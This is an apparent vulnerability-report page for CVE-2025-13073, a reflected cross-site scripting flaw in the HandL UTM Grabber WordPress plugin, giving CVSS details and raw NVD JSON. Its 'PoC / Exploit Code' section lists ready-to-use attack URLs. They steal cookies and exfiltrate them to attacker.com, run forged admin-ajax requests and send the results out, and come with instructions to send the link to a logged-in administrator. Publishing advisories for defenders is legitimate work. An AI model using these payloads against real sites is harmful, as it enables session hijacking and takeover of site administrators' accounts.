Security Vulnerability Report
中文
CVE-2025-13073 CVSS 7.1 HIGH

CVE-2025-13073

Published: 2025-12-10 06:15:46
Last Modified: 2026-04-15 00:35:42

Description

The HandL UTM Grabber / Tracker WordPress plugin before 2.8.1 does not sanitize and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

HandL UTM Grabber / Tracker WordPress插件 < 2.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13073 PoC - Reflected XSS in HandL UTM Grabber WordPress Plugin --> <!-- Target: WordPress site with HandL UTM Grabber plugin < 2.8.1 --> <!-- This PoC demonstrates the reflected XSS vulnerability --> <!-- Basic XSS PoC --> <!-- Replace 'target-site.com' with the vulnerable WordPress site --> <!-- http://target-site.com/?utm_source=<script>alert('XSS')</script>&utm_medium=test --> <!-- Cookie Stealing PoC (malicious JavaScript) --> <!-- http://target-site.com/?utm_source=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>&utm_medium=test --> <!-- Session Hijacking PoC --> <!-- http://target-site.com/?utm_source=<img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">&utm_medium=test --> <!-- Admin Action Execution PoC --> <!-- http://target-site.com/?utm_source=<script>fetch('https://target-site.com/wp-admin/admin-ajax.php',{method:'POST',body:'action=some_admin_action&data=malicious'}).then(r=>r.text()).then(d=>fetch('https://attacker.com/exfil?d='+btoa(d)))</script>&utm_medium=test --> <!-- Usage: Send this link to a logged-in WordPress admin --> <!-- When admin clicks, the JavaScript will execute in their browser context -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13073", "sourceIdentifier": "[email protected]", "published": "2025-12-10T06:15:45.907", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HandL UTM Grabber / Tracker WordPress plugin before 2.8.1 does not sanitize and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "references": [{"url": "https://wpscan.com/vulnerability/697fc4be-782c-44cc-840a-774c8ab3ccd8/", "source": "[email protected]"}]}}